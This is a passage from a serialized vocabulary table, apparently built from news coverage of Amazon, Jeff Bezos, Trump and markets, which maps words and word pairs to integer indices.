85908,\n  \"compaq\": 85909,\n  \"instead implored\": 85910,\n  \"store closures\": 85911,\n  \"ransom\": 85912,\n  \"thing giving\": 85913,\n  \"world talent\": 85914,\n  \"hq2 lion\": 85915,\n  \"rodriguez sent\": 85916,\n  \"support people\": 85917,\n  \"trump loathes\": 85918,\n  \"president falsely\": 85919,\n  \"attention stream\": 85920,\n  \"dominate wall\": 85921,\n  \"condemns\": 85922,\n  \"cnis7mbbwv\": 85923,\n  \"llp stated\": 85924,\n  \"engel longtime\": 85925,\n  \"organisms gmos\": 85926,\n  \"past package\": 85927,\n  \"amazon doubled\": 85928,\n  \"itthe\": 85929,\n  \"twitter photo\": 85930,\n  \"mary harrington\": 85931,\n  \"employees yes\": 85932,\n  \"friend don\": 85933,\n  \"lurking\": 85934,\n  \"lobbies\": 85935,\n  \"smaller volume\": 85936,\n  \"brand schwietzer\": 85937,\n  \"tried contacting\": 85938,\n  \"img_gallery_imageref null\": 85939,\n  \"trump abused\": 85940,\n  \"war games\": 85941,\n  \"sensitive data\": 85942,\n  \"house vanity\": 85943,\n  \"amazon views\": 85944,\n  \"business objectives\": 85945,\n  \"tap room\": 85946,\n  \"steady consistent\": 85947,\n  \"morten tyldum\": 85948,\n  \"second lawsuit\": 85949,\n  \"coercing\": 85950,\n  \"unspeakable\": 85951,\n  \"flies vertically\": 85952,\n  \"officially separated\": 85953,\n  \"189 zach\": 85954,\n  \"forum musk\": 85955,\n  \"record close\": 85956,\n  \"loaded rifle\": 85957,\n  \"course suspected\": 85958,\n  \"campaign ended\": 85959,\n  \"shares jassy\": 85960,\n  \"repeatedly accused\": 85961,\n  \"ranging conspiracy\": 85962,\n  \"aoc\": 85963,\n  \"provoking tensions\": 85964,\n  \"news weather\": 85965,\n  \"knausgaard archipelago\": 85966,\n  \"prevention\": 85967,\n  \"pentagon ig\": 85968,\n  \"paper piketty\": 85969,\n  \"street yesterday\": 85970,\n  \"european users\": 85971,\n  \"street fat\": 85972,\n  \"human conversations\": 85973,\n  \"grocery line\": 85974,\n  \"raging\": 85975,\n  \"approves controversial\": 85976,\n  \"economy warehouse\": 85977,\n  \"retailer bezos\": 85978,\n  \"paulsen\": 85979,\n  \"segal\": 85980,\n  \"2013 rubinstein\": 85981,\n  \"place respectively\": 85982,\n  \"summoning\": 85983,\n  \"evidence whatsoever\": 85984,\n  \"localized\": 85985,\n  \"nots\": 85986,\n  \"lifestyles smoking\": 85987,\n  \"ideas article\": 85988,\n  \"logistics business\": 85989,\n  \"lowest recorded\": 85990,\n  \"sollicitatie van\": 85991,\n  \"help win\": 85992,\n  \"presenters\": 85993,\n  \"help canada\": 85994,\n  \"christoff\": 85995,\n  \"shipping threshold\": 85996,\n  \"eu officials\": 85997,\n  \"images dylan\": 85998,\n  \"means consumers\": 85999,\n  \"web hosting\": 86000,\n  \"amazon 1161\": 86001,\n  \"court just\": 86002,\n  \"niagara haldimand\": 86003,\n  \"nytimes apologized\": 86004,\n  \"rajneesh aka\": 86005,\n  \"ring selfie\": 86006,\n  \"people speak\": 86007,\n  \"corporatocracy\": 86008,\n  \"private physician\": 86009,\n  \"solely\": 86010,\n  \"politicians interfere\": 86011,\n  \"dissolution\": 86012,\n  \"information looking\": 86013,\n  \"blocking better\": 86014,\n  \"subsequently sponsored\": 86015,\n  \"launchpad\": 86016,\n  \"reform fox\": 86017,\n  \"vpx\": 86018,\n  \"streetcars humming\": 86019,\n  \"jobs die\": 86020,\n  \"moving briskly\": 86021,\n  \"mass market\": 86022,\n  \"acquisition doug\": 86023,\n  \"alex day\": 86024,\n  \"caving\": 86025,\n  \"significantly dramatically\": 86026,\n  \"mit\": 86027,\n  \"toke\": 86028,\n  \"1990s remembers\": 86029,\n  \"commissioner term\": 86030,\n  \"sector customers\": 86031,\n  \"trying desperately\": 86032,\n  \"worker program\": 86033,\n  \"property laws\": 86034,\n  \"usually delivers\": 86035,\n  \"putin meet\": 86036,\n  \"chips\": 86037,\n  \"company doubling\": 86038,\n  \"president titled\": 86039,\n  \"keyboards according\": 86040,\n  \"dulles airport\": 86041,\n  \"sells unauthorized\": 86042,\n  \"book baselessly\": 86043,\n  \"delivery season\": 86044,\n  \"garland wizard\": 86045,\n  \"imported extremely\": 86046,\n  \"lap\": 86047,\n  \"1336\": 86048,\n  \"secretary ben\": 86049,\n  \"actually purchase\": 86050,\n  \"wolfs new\": 86051,\n  \"teachers reached\": 86052,\n  \"backyard elm\": 86053,\n  \"helped stocks\": 86054,\n  \"remains secret\": 86055,\n  \"mcdonald american\": 86056,\n  \"compelling sales\": 86057,\n  \"immigration\": 86058,\n  \"fine threw\": 86059,\n  \"granted press\": 86060,\n  \"allow donald\": 86061,\n  \"amazon location\": 86062,\n  \"recruited dozens\": 86063,\n  \"bring manufacturing\": 86064,\n  \"york confirmed\": 86065,\n  \"long leash\": 86066,\n  \"rendered\": 86067,\n  \"erroneously stated\": 86068,\n  \"specific opioids\": 86069,\n  \"girl drowns\": 86070,\n  \"monopoly yes\": 86071,\n  \"make deep\": 86072,\n  \"just poor\": 86073,\n  \"publish ck\": 86074,\n  \"expertly written\": 86075,\n  \"toy catalog\": 86076,\n  \"dheeraj pandey\": 86077,\n  \"delighting customers\": 86078,\n  \"elections economy\": 86079,\n  \"cnbc cn\": 86080,\n  \"roman swamps\": 86081,\n  \"sanchez accusations\": 86082,\n  \"amazon rejected\": 86083,\n  \"ocean cast\": 86084,\n  \"reported increased\": 86085,\n  \"buy carry\": 86086,\n  \"polls\": 86087,\n  \"collectively referring\": 86088,\n  \"president miami\": 86089,\n  \"elected republicans\": 86090,\n  \"tribweb\": 86091,\n  \"economic calendar\": 86092,\n  \"previous ftc\": 86093,\n  \"f4e pathname\": 86094,\n  \"ocean township\": 86095,\n  \"vast sums\": 86096,\n  \"bunnies duck\": 86097,\n  \"poor seller\": 86098,\n  \"single day\": 86099,\n  \"brooklyn fred\": 86100,\n  \"tweeting angrily\": 86101,\n  \"winding interview\": 86102,\n  \"gregory barela\": 86103,\n  \"biggest funders\": 86104,\n  \"delivery giants\": 86105,\n  \"francisco lawsuit\": 86106,\n  \"substantial evidence\": 86107,\n  \"trump criticisms\": 86108,\n  \"longer deserves\": 86109,\n  \"automatically qualifies\": 86110,\n  \"online groceries\": 86111,\n  \"4657\": 86112,\n  \"record ira\": 86113,\n  \"company uses\": 86114,\n  \"gadget\": 86115,\n  \"consecutive\": 86116,\n  \"amazon geography\": 86117,\n  \"andrew mccabedescribes\": 86118,\n  \"supercars\": 86119,\n  \"edward braunstein\": 86120,\n  \"shooting people\": 86121,\n  \"reviews congress\": 86122,\n  \"wrote similar\": 86123,\n  \"coercion imposed\": 86124,\n  \"belcher\": 86125,\n  \"time owned\": 86126,\n  \"refundable\": 86127,\n  \"wants lin\": 86128,\n  \"wage blockchain\": 86129,\n  \"bezos retail\": 86130,\n  \"devel\": 86131,\n  \"cut dramatically\": 86132,\n  \"salary bonus\": 86133,\n  \"sophisticated counterfeit\": 86134,\n  \"agriculture dr\": 86135,\n  \"international nonprofit\": 86136,\n  \"ai facebook\": 86137,\n  \"ads netflix\": 86138,\n  \"dilettantes\": 86139,\n  \"tesla private\": 86140,\n  \"net working\": 86141,\n  \"post shopware\": 86142,\n  \"plans disclosure\": 86143,\n  \"police identify\": 86144,\n  \"551 196\": 86145,\n  \"picks nyc\": 86146,\n  \"jacket just\": 86147,\n  \"marxist revolutionaries\": 86148,\n  \"amzn run\": 86149,\n  \"platform aliexpress\": 86150,\n  \"deal fell\": 86151,\n  \"nbc rosalind\": 86152,\n  \"private office\": 86153,\n  \"modernist\": 86154,\n  \"obama apple\": 86155,\n  \"lapses\": 86156,\n  \"noble say\": 86157,\n  \"tech alexa\": 86158,\n  \"investigator gavin\": 86159,\n  \"information understand\": 86160,\n  \"associates roger\": 86161,\n  \"means possible\": 86162,\n  \"amazon billion\": 86163,\n  \"kddi\": 86164,\n  \"fully possible\": 86165,\n  \"marc wulfraat\": 86166,\n  \"largest product\": 86167,\n  \"tough making\": 86168,\n  \"helped oversee\": 86169,\n  \"brand partners\": 86170,\n  \"1941 attack\": 86171,\n  \"followed suit\": 86172,\n  \"army officer\": 86173,\n  \"dorsey personal\": 86174,\n  \"action don\": 86175,\n  \"drone\": 86176,\n  \"amazon tweet\": 86177,\n  \"freshly\": 86178,\n  \"sweeping victories\": 86179,\n  \"disney movies\": 86180,\n  \"395\": 86181,\n  \"lazzaro alice\": 86182,\n  \"author swift\": 86183,\n  \"01pm\": 86184,\n  \"center closest\": 86185,\n  \"topping views\": 86186,\n  \"bribed best\": 86187,\n  \"conditions faced\": 86188,\n  \"2016 marcio\": 86189,\n  \"aimed\": 86190,\n  \"marketplaces researchers\": 86191,\n  \"nerves 2018\": 86192,\n  \"element\": 86193,\n  \"napolitano\": 86194,\n  \"leading technology\": 86195,\n  \"financial instability\": 86196,\n  \"real wool\": 86197,\n  \"augment world\": 86198,\n  \"ideological division\": 86199,\n  \"called shipping\": 86200,\n  \"thoughtful public\": 86201,\n  \"trump media\": 86202,\n  \"disloyal\": 86203,\n  \"lighthizer treasury\": 86204,\n  \"gentrification threaten\": 86205,\n  \"signal buying\": 86206,\n  \"amazon unfortunately\": 86207,\n  \"member broward\": 86208,\n  \"families surface\": 86209,\n  \"hauled metre\": 86210,\n  \"separation\": 86211,\n  \"fagan\": 86212,\n  \"function ib\": 86213,\n  \"media technology\": 86214,\n  \"aluminum producer\": 86215,\n  \"etsy lunch\": 86216,\n  \"cnn sues\": 86217,\n  \"mazza stuart\": 86218,\n  \"niantic labs\": 86219,\n  \"think reunion\": 86220,\n  \"popular streaming\": 86221,\n  \"globes follow\": 86222,\n  \"hd marvel\": 86223,\n  \"global compact\": 86224,\n  \"latino electorate\": 86225,\n  \"emphasize corporate\": 86226,\n  \"scarred\": 86227,\n  \"bitterly protested\": 86228,\n  \"francis visit\": 86229,\n  \"american affairs\": 86230,\n  \"leader super\": 86231,\n  \"street style\": 86232,\n  \"operation entertainment\": 86233,\n  \"parties perils\": 86234,\n  \"death feng\": 86235,\n  \"case trump\": 86236,\n  \"revoke\": 86237,\n  \"annual tech\": 86238,\n  \"mackenzie announce\": 86239,\n  \"workers think\": 86240,\n  \"repeated pattern\": 86241,\n  \"voice assistant\": 86242,\n  \"passage\": 86243,\n  \"higher finish\": 86244,\n  \"records ___\": 86245,\n  \"refunds issued\": 86246,\n  \"punish single\": 86247,\n  \"sixth session\": 86248,\n  \"articles fed\": 86249,\n  \"755 000\": 86250,\n  \"pork josh\": 86251,\n  \"join thestreet\": 86252,\n  \"jones transport\": 86253,\n  \"new batch\": 86254,\n  \"hurricane impacted\": 86255,\n  \"wrap reported\": 86256,\n  \"president emmet\": 86257,\n  \"imported products\": 86258,\n  \"newsstand\": 86259,\n  \"manufacturing sector\": 86260,\n  \"specialists agency\": 86261,\n  \"multiply\": 86262,\n  \"dropped major\": 86263,\n  \"repeated attacks\": 86264,\n  \"manafort gates\": 86265,\n  \"trouble resonating\": 86266,\n  \"truly fearful\": 86267,\n  \"ceo ellison\": 86268,\n  \"better policy\": 86269,\n  \"votes add\": 86270,\n  \"mass hysteria\": 86271,\n  \"889 shares\": 86272,\n  \"phlx amzn\": 86273,\n  \"dent know\": 86274,\n  \"distributor rose\": 86275,\n  \"brian milligan\": 86276,\n  \"melchiorre threw\": 86277,\n  \"net jeff\": 86278,\n  \"taxes france\": 86279,\n  \"als research\": 86280,\n  \"celebrity security\": 86281,\n  \"watched helplessly\": 86282,\n  \"daily kos\": 86283,\n  \"introduced competing\": 86284,\n  \"smalls jj\": 86285,\n  \"released today\": 86286,\n  \"city outside\": 86287,\n  \"endless sexual\": 86288,\n  \"apparent amazon\": 86289,\n  \"upi\": 86290,\n  \"grisly\": 86291,\n  \"bening\": 86292,\n  \"reported decreased\": 86293,\n  \"mongering\": 86294,\n  \"modest man\": 86295,\n  \"songbird\": 86296,\n  \"terrifyingly timely\": 86297,\n  \"photo kurt\": 86298,\n  \"leader recently\": 86299,\n  \"faced multiple\": 86300,\n  \"brightest technologically\": 86301,\n  \"billion making\": 86302,\n  \"john bolton\": 86303,\n  \"branches\": 86304,\n  \"group nyse\": 86305,\n  \"fix school\": 86306,\n  \"normally 1500\": 86307,\n  \"oath ceo\": 86308,\n  \"shaved\": 86309,\n  \"leaning cities\": 86310,\n  \"information sharing\": 86311,\n  \"writing chapters\": 86312,\n  \"honor told\": 86313,\n  \"assassination\": 86314,\n  \"sport message\": 86315,\n  \"co2\": 86316,\n  \"dzubow pilcher\": 86317,\n  \"flock\": 86318,\n  \"google moving\": 86319,\n  \"regulatory agenda\": 86320,\n  \"head start\": 86321,\n  \"enquirer just\": 86322,\n  \"time pointing\": 86323,\n  \"access patients\": 86324,\n  \"virginia woolf\": 86325,\n  \"politicians provide\": 86326,\n  \"m8i t5q\": 86327,\n  \"communicate\": 86328,\n  \"sofia ordonez\": 86329,\n  \"violator\": 86330,\n  \"urges chinese\": 86331,\n  \"717 shares\": 86332,\n  \"discount website\": 86333,\n  \"paper owned\": 86334,\n  \"tie breaker\": 86335,\n  \"surreal\": 86336,\n  \"world trailing\": 86337,\n  \"senator want\": 86338,\n  \"legitimate legislative\": 86339,\n  \"mark wilson\": 86340,\n  \"publicist kacy\": 86341,\n  \"karl heated\": 86342,\n  \"shares set\": 86343,\n  \"coast shipping\": 86344,\n  \"piles\": 86345,\n  \"networking site\": 86346,\n  \"children left\": 86347,\n  \"benito\": 86348,\n  \"strict police\": 86349,\n  \"run health\": 86350,\n  \"placate\": 86351,\n  \"ran trying\": 86352,\n  \"seagull\": 86353,\n  \"telephone poles\": 86354,\n  \"del mar\": 86355,\n  \"cert sponsor\": 86356,\n  \"twitter marketing\": 86357,\n  \"addition gumball\": 86358,\n  \"keys lead\": 86359,\n  \"assassin\": 86360,\n  \"nrf\": 86361,\n  \"perceived liberal\": 86362,\n  \"actual net\": 86363,\n  \"correspondent katy\": 86364,\n  \"carried virus\": 86365,\n  \"tore\": 86366,\n  \"culture digital\": 86367,\n  \"representative adam\": 86368,\n  \"testimony fails\": 86369,\n  \"soured soon\": 86370,\n  \"regulators attention\": 86371,\n  \"disinformation amazon\": 86372,\n  \"financial reports\": 86373,\n  \"behold\": 86374,\n  \"false branding\": 86375,\n  \"defense trump\": 86376,\n  \"controls pinkfong\": 86377,\n  \"springsteen publicly\": 86378,\n  \"layerx\": 86379,\n  \"electoral strategy\": 86380,\n  \"jim okamura\": 86381,\n  \"seth rogen\": 86382,\n  \"tread\": 86383,\n  \"zamyatin\": 86384,\n  \"placed online\": 86385,\n  \"billionaire dropping\": 86386,\n  \"espn sportscenter\": 86387,\n  \"adequate oversight\": 86388,\n  \"adult starfish\": 86389,\n  \"officials say\": 86390,\n  \"snl performance\": 86391,\n  \"signals paulo\": 86392,\n  \"nyse suspends\": 86393,\n  \"reuters reuters\": 86394,\n  \"social community\": 86395,\n  \"global equity\": 86396,\n  \"insurance giant\": 86397,\n  \"defensive\": 86398,\n  \"repeatedly slams\": 86399,\n  \"power sex\": 86400,\n  \"shaves\": 86401,\n  \"proceeded\": 86402,\n  \"relatives\": 86403,\n  \"picture bezos\": 86404,\n  \"bezos explains\": 86405,\n  \"states mean\": 86406,\n  \"subsidy chicago\": 86407,\n  \"military veterans\": 86408,\n  \"foreign nation\": 86409,\n  \"multiple accusations\": 86410,\n  \"sheraton\": 86411,\n  \"good money\": 86412,\n  \"delivering epic\": 86413,\n  \"recommends googl\": 86414,\n  \"exemplary\": 86415,\n  \"kremlin photo\": 86416,\n  \"alabama senate\": 86417,\n  \"tweet following\": 86418,\n  \"survey shows\": 86419,\n  \"year response\": 86420,\n  \"allow online\": 86421,\n  \"uniforms amazon\": 86422,\n  \"hype editor\": 86423,\n  \"amzn news\": 86424,\n  \"genoa\": 86425,\n  \"benefits manager\": 86426,\n  \"achieve remediation\": 86427,\n  \"opencart\": 86428,\n  \"nasdaq plunging\": 86429,\n  \"5x 4x\": 86430,\n  \"companies responding\": 86431,\n  \"important supermicro\": 86432,\n  \"findings reflect\": 86433,\n  \"year 2016\": 86434,\n  \"bullish oil\": 86435,\n  \"nature think\": 86436,\n  \"rejoin\": 86437,\n  \"announces appointment\": 86438,\n  \"politico kristenicoleast\": 86439,\n  \"host ran\": 86440,\n  \"beeler linkedin\": 86441,\n  \"bezos threatening\": 86442,\n  \"largest chains\": 86443,\n  \"ramsey\": 86444,\n  \"ordering according\": 86445,\n  \"tips exclusives\": 86446,\n  \"amanda peet\": 86447,\n  \"satanic child\": 86448,\n  \"meatless\": 86449,\n  \"r4ee v7a\": 86450,\n  \"delinquencies reaching\": 86451,\n  \"memo emphasizes\": 86452,\n  \"category beating\": 86453,\n  \"liberal publication\": 86454,\n  \"wilbur\": 86455,\n  \"3a reuters\": 86456,\n  \"acquisitions taking\": 86457,\n  \"challenge telecom\": 86458,\n  \"memorandum doesn\": 86459,\n  \"2016 post\": 86460,\n  \"eventually catch\": 86461,\n  \"roberts stock\": 86462,\n  \"competition posed\": 86463,\n  \"lichtenberg\": 86464,\n  \"amazon drugs\": 86465,\n  \"goods carriers\": 86466,\n  \"bring nursing\": 86467,\n  \"dash button\": 86468,\n  \"doj looks\": 86469,\n  \"worries experts\": 86470,\n  \"100 added\": 86471,\n  \"afghanistan independent\": 86472,\n  \"sudden sniffing\": 86473,\n  \"ndibyj1b1f\": 86474,\n  \"current discussion\": 86475,\n  \"fatal\": 86476,\n  \"communications official\": 86477,\n  \"reportedly resigned\": 86478,\n  \"nextdoor\": 86479,\n  \"ina fried\": 86480,\n  \"black indigenous\": 86481,\n  \"midterms missouri\": 86482,\n  \"empire state\": 86483,\n  \"hills celebrity\": 86484,\n  \"plans san\": 86485,\n  \"flip trump\": 86486,\n  \"year richard\": 86487,\n  \"having busy\": 86488,\n  \"sports photography\": 86489,\n  \"hit targets\": 86490,\n  \"frictions\": 86491,\n  \"things wrong\": 86492,\n  \"calling instead\": 86493,\n  \"company response\": 86494,\n  \"current withdrawal\": 86495,\n  \"recommend items\": 86496,\n  \"400 pound\": 86497,\n  \"neckband source\": 86498,\n  \"programme according\": 86499,\n  \"backyards\": 86500,\n  \"unparalleled wealth\": 86501,\n  \"point bartiromo\": 86502,\n  \"increased tariff\": 86503,\n  \"trade maneuvers\": 86504,\n  \"title tycoons\": 86505,\n  \"machines\": 86506,\n  \"laowilas shoppers\": 86507,\n  \"writing affords\": 86508,\n  \"access reliable\": 86509,\n  \"overstating things\": 86510,\n  \"scotland\": 86511,\n  \"watchful\": 86512,\n  \"moeller procter\": 86513,\n  \"getinstance getplayerbycontainer\": 86514,\n  \"pittsburgh police\": 86515,\n  \"haven addressed\": 86516,\n  \"newest spherical\": 86517,\n  \"stock adobe\": 86518,\n  \"core businesses\": 86519,\n  \"generating profitability\": 86520,\n  \"media umbrella\": 86521,\n  \"response coalition\": 86522,\n  \"biggest shopping\": 86523,\n  \"stopped stabilizing\": 86524,\n  \"2006 amar\": 86525,\n  \"did overpay\": 86526,\n  \"tough 2018\": 86527,\n  \"bad science\": 86528,\n  \"amazon giveth\": 86529,\n  \"hewson bono\": 86530,\n  \"srg\": 86531,\n  \"man returns\": 86532,\n  \"longer working\": 86533,\n  \"exactly stranger\": 86534,\n  \"trump skin\": 86535,\n  \"menace president\": 86536,\n  \"wide commerce\": 86537,\n  \"bezos appearance\": 86538,\n  \"company added\": 86539,\n  \"money order\": 86540,\n  \"bring federal\": 86541,\n  \"websocket\": 86542,\n  \"drop dead\": 86543,\n  \"tweeted encouragement\": 86544,\n  \"founder logistics\": 86545,\n  \"wisconsin governor\": 86546,\n  \"hungry man\": 86547,\n  \"governing structure\": 86548,\n  \"collective government\": 86549,\n  \"books sweet\": 86550,\n  \"postage provider\": 86551,\n  \"journal treatise\": 86552,\n  \"earnings ratio\": 86553,\n  \"suppliers business\": 86554,\n  \"meager retail\": 86555,\n  \"inventors\": 86556,\n  \"zilch\": 86557,\n  \"becker theory\": 86558,\n  \"600s feeling\": 86559,\n  \"category business\": 86560,\n  \"book reminiscent\": 86561,\n  \"presidentdefinitely\": 86562,\n  \"invited agencies\": 86563,\n  \"bipartisan effort\": 86564,\n  \"birth texas\": 86565,\n  \"buy biolite\": 86566,\n  \"turned lobbyists\": 86567,\n  \"post naturally\": 86568,\n  \"regulation trump\": 86569,\n  \"unadorned helmet\": 86570,\n  \"investigates bezos\": 86571,\n  \"mechanic\": 86572,\n  \"paid nearly\": 86573,\n  \"great irony\": 86574,\n  \"company dominance\": 86575,\n  \"jpg 0x367\": 86576,\n  \"customer doorsteps\": 86577,\n  \"lawsuits lately\": 86578,\n  \"offices sarah\": 86579,\n  \"chicago attack\": 86580,\n  \"deporting immigrant\": 86581,\n  \"text sizelarger\": 86582,\n  \"earned mere\": 86583,\n  \"women running\": 86584,\n  \"unsuspecting men\": 86585,\n  \"global_advisors global\": 86586,\n  \"teens holiday\": 86587,\n  \"showrooming customers\": 86588,\n  \"logistics automobiles\": 86589,\n  \"media attacks\": 86590,\n  \"crisis increasing\": 86591,\n  \"pix11news\": 86592,\n  \"trump originally\": 86593,\n  \"vikram chandra\": 86594,\n  \"closest competitor\": 86595,\n  \"golden era\": 86596,\n  \"actually accomplish\": 86597,\n  \"agents killed\": 86598,\n  \"e3 a4ee\": 86599,\n  \"public sanchez\": 86600,\n  \"population records\": 86601,\n  \"good paying\": 86602,\n  \"gone head\": 86603,\n  \"class catalogues\": 86604,\n  \"public institutions\": 86605,\n  \"mysterious group\": 86606,\n  \"insur reported\": 86607,\n  \"electronics contract\": 86608,\n  \"2009\": 86609,\n  \"replacing tetraphase\": 86610,\n  \"writers jeff\": 86611,\n  \"bt\": 86612,\n  \"handheld company\": 86613,\n  \"immigrants employment\": 86614,\n  \"anti pelosi\": 86615,\n  \"bosse\": 86616,\n  \"various investigations\": 86617,\n  \"program shows\": 86618,\n  \"interstate prescription\": 86619,\n  \"nasa contracts\": 86620,\n  \"musks\": 86621,\n  \"2016 usa\": 86622,\n  \"steve daletas\": 86623,\n  \"based fedex\": 86624,\n  \"eroding confidence\": 86625,\n  \"gmb general\": 86626,\n  \"reagan reagan\": 86627,\n  \"online purchases\": 86628,\n  \"year atop\": 86629,\n  \"gamedev\": 86630,\n  \"bringing development\": 86631,\n  \"build billion\": 86632,\n  \"protestors want\": 86633,\n  \"139\": 86634,\n  \"josie\": 86635,\n  \"london dropped\": 86636,\n  \"build things\": 86637,\n  \"50th\": 86638,\n  \"agonizing\": 86639,\n  \"special postal\": 86640,\n  \"recent supreme\": 86641,\n  \"australia canada\": 86642,\n  \"border crossers\": 86643,\n  \"sordid snaps\": 86644,\n  \"ruling spokesperson\": 86645,\n  \"planetary\": 86646,\n  \"wheeler nomination\": 86647,\n  \"investigator suggested\": 86648,\n  \"declare\": 86649,\n  \"dye\": 86650,\n  \"investigate essentially\": 86651,\n  \"bojack horseman\": 86652,\n  \"rekognition inhouse\": 86653,\n  \"228 wildfires\": 86654,\n  \"hike path\": 86655,\n  \"lawsuits claiming\": 86656,\n  \"technology trends\": 86657,\n  \"announce massive\": 86658,\n  \"toronto\": 86659,\n  \"zambia\": 86660,\n  \"trump ending\": 86661,\n  \"sen heidi\": 86662,\n  \"photo taylor\": 86663,\n  \"avoid vince\": 86664,\n  \"engineers applied\": 86665,\n  \"build monopolies\": 86666,\n  \"pressing lockheed\": 86667,\n  \"cordes\": 86668,\n  \"quickly fixed\": 86669,\n  \"magic misfits\": 86670,\n  \"heartwarming\": 86671,\n  \"control diaz\": 86672,\n  \"motivated act\": 86673,\n  \"list include\": 86674,\n  \"drama continue\": 86675,\n  \"source forests\": 86676,\n  \"franchise\": 86677,\n  \"eye star\": 86678,\n  \"profiteering\": 86679,\n  \"party treasurer\": 86680,\n  \"challenge facing\": 86681,\n  \"amidst torrent\": 86682,\n  \"caseworker\": 86683,\n  \"double analysts\": 86684,\n  \"boycotts\": 86685,\n  \"twitter mrnashington\": 86686,\n  \"instruments reported\": 86687,\n  \"used code\": 86688,\n  \"taylor hendricksen\": 86689,\n  \"line item\": 86690,\n  \"bad present\": 86691,\n  \"house passes\": 86692,\n  \"admits faux\": 86693,\n  \"field technician\": 86694,\n  \"korecki learning\": 86695,\n  \"reuters congress\": 86696,\n  \"sheldon harr\": 86697,\n  \"accurately portray\": 86698,\n  \"catalogues\": 86699,\n  \"kdaly\": 86700,\n  \"nationwide referendum\": 86701,\n  \"closely follow\": 86702,\n  \"expert\": 86703,\n  \"concessions bespoke\": 86704,\n  \"huawei\": 86705,\n  \"divorce payout\": 86706,\n  \"jpmorgan ceo\": 86707,\n  \"nofollow\": 86708,\n  \"untold story\": 86709,\n  \"called negotiated\": 86710,\n  \"lentol\": 86711,\n  \"successful companies\": 86712,\n  \"important sector\": 86713,\n  \"jd\": 86714,\n  \"howard line\": 86715,\n  \"alleged comments\": 86716,\n  \"cbs oscars\": 86717,\n  \"turkish lira\": 86718,\n  \"ab bb\": 86719,\n  \"sustainability\": 86720,\n  \"tree branch\": 86721,\n  \"prophecies\": 86722,\n  \"alien insects\": 86723,\n  \"moser actually\": 86724,\n  \"market slowing\": 86725,\n  \"isn happy\": 86726,\n  \"politicizing\": 86727,\n  \"basic mail\": 86728,\n  \"jabs brad\": 86729,\n  \"haines christie\": 86730,\n  \"picking directors\": 86731,\n  \"directly responded\": 86732,\n  \"explosion weight\": 86733,\n  \"forecast misses\": 86734,\n  \"frequent flier\": 86735,\n  \"plan 2018\": 86736,\n  \"having lost\": 86737,\n  \"couple things\": 86738,\n  \"mexicans\": 86739,\n  \"deloitte holiday\": 86740,\n  \"offer red\": 86741,\n  \"lobbying weapon\": 86742,\n  \"avoided questions\": 86743,\n  \"megan murphy\": 86744,\n  \"automobile\": 86745,\n  \"campaigns politicians\": 86746,\n  \"allegedly threatened\": 86747,\n  \"president eddie\": 86748,\n  \"belga\": 86749,\n  \"attacking president\": 86750,\n  \"lowest point\": 86751,\n  \"long forgotten\": 86752,\n  \"sector deal\": 86753,\n  \"incremental shipping\": 86754,\n  \"democratic norms\": 86755,\n  \"fracturing\": 86756,\n  \"companies supporting\": 86757,\n  \"boob tube\": 86758,\n  \"house appropriations\": 86759,\n  \"bezos worked\": 86760,\n  \"express refers\": 86761,\n  \"finds sympathy\": 86762,\n  \"insider summarized\": 86763,\n  \"langone home\": 86764,\n  \"way doors\": 86765,\n  \"stopped collecting\": 86766,\n  \"direct __________\": 86767,\n  \"negotiate morals\": 86768,\n  \"post beautifully\": 86769,\n  \"incentive\": 86770,\n  \"quarter tax\": 86771,\n  \"technology procurement\": 86772,\n  \"showing ms\": 86773,\n  \"abboud vta\": 86774,\n  \"brazen abuse\": 86775,\n  \"patent protections\": 86776,\n  \"wsj report\": 86777,\n  \"international cooperation\": 86778,\n  \"photos transgender\": 86779,\n  \"cast skill\": 86780,\n  \"entire mini\": 86781,\n  \"disclosure says\": 86782,\n  \"trump task\": 86783,\n  \"fearing\": 86784,\n  \"dhar\": 86785,\n  \"2016 according\": 86786,\n  \"boycotted\": 86787,\n  \"independently operated\": 86788,\n  \"saying goodbye\": 86789,\n  \"blogs 2018\": 86790,\n  \"enquirer american\": 86791,\n  \"jk rowling\": 86792,\n  \"ordering items\": 86793,\n  \"author major\": 86794,\n  \"flipkart\": 86795,\n  \"developing 3rd\": 86796,\n  \"beige book\": 86797,\n  \"decelerating sales\": 86798,\n  \"deliveries using\": 86799,\n  \"diginomica does\": 86800,\n  \"blackmail accusations\": 86801,\n  \"proposed merger\": 86802,\n  \"cease airing\": 86803,\n  \"messages late\": 86804,\n  \"launching\": 86805,\n  \"billion online\": 86806,\n  \"pr initiatives\": 86807,\n  \"souqksa\": 86808,\n  \"million ballard\": 86809,\n  \"social isolation\": 86810,\n  \"yurus\": 86811,\n  \"bolsonaro elected\": 86812,\n  \"unrelated reasons\": 86813,\n  \"landing gear\": 86814,\n  \"adopting new\": 86815,\n  \"strangely\": 86816,\n  \"beautifully sculpted\": 86817,\n  \"obituary\": 86818,\n  \"drug mdma\": 86819,\n  \"nixon used\": 86820,\n  \"ingber news\": 86821,\n  \"delete don\": 86822,\n  \"cyclical anchor\": 86823,\n  \"vendettas\": 86824,\n  \"guardian details\": 86825,\n  \"memorable experiences\": 86826,\n  \"business nike\": 86827,\n  \"bloomberg unprecedented\": 86828,\n  \"tabloid according\": 86829,\n  \"shoulder briefcase\": 86830,\n  \"disloyal aides\": 86831,\n  \"cinemark\": 86832,\n  \"methods tagay\": 86833,\n  \"elect jair\": 86834,\n  \"erp customers\": 86835,\n  \"watch poirier\": 86836,\n  \"enforcement bezos\": 86837,\n  \"echoing weeks\": 86838,\n  \"employee conce\": 86839,\n  \"surprise appearance\": 86840,\n  \"dns ip\": 86841,\n  \"parkside fincl\": 86842,\n  \"birth rates\": 86843,\n  \"maria growth\": 86844,\n  \"pieces\": 86845,\n  \"pen outfit\": 86846,\n  \"twitter 2752121\": 86847,\n  \"ev\": 86848,\n  \"setting bearish\": 86849,\n  \"people acts\": 86850,\n  \"courage bipartisanship\": 86851,\n  \"joseph gilgun\": 86852,\n  \"lambda\": 86853,\n  \"later sulzberger\": 86854,\n  \"telephone robocall\": 86855,\n  \"personal text\": 86856,\n  \"street south\": 86857,\n  \"mechanical licensing\": 86858,\n  \"hassan rouhani\": 86859,\n  \"razor wire\": 86860,\n  \"brainstorm tech\": 86861,\n  \"institutionalized similar\": 86862,\n  \"televisions just\": 86863,\n  \"described ms\": 86864,\n  \"amzn praised\": 86865,\n  \"dominance sue\": 86866,\n  \"608\": 86867,\n  \"exported\": 86868,\n  \"unfair edge\": 86869,\n  \"posterimageoverride mini\": 86870,\n  \"demise petrochina\": 86871,\n  \"solving particularly\": 86872,\n  \"incy\": 86873,\n  \"questions later\": 86874,\n 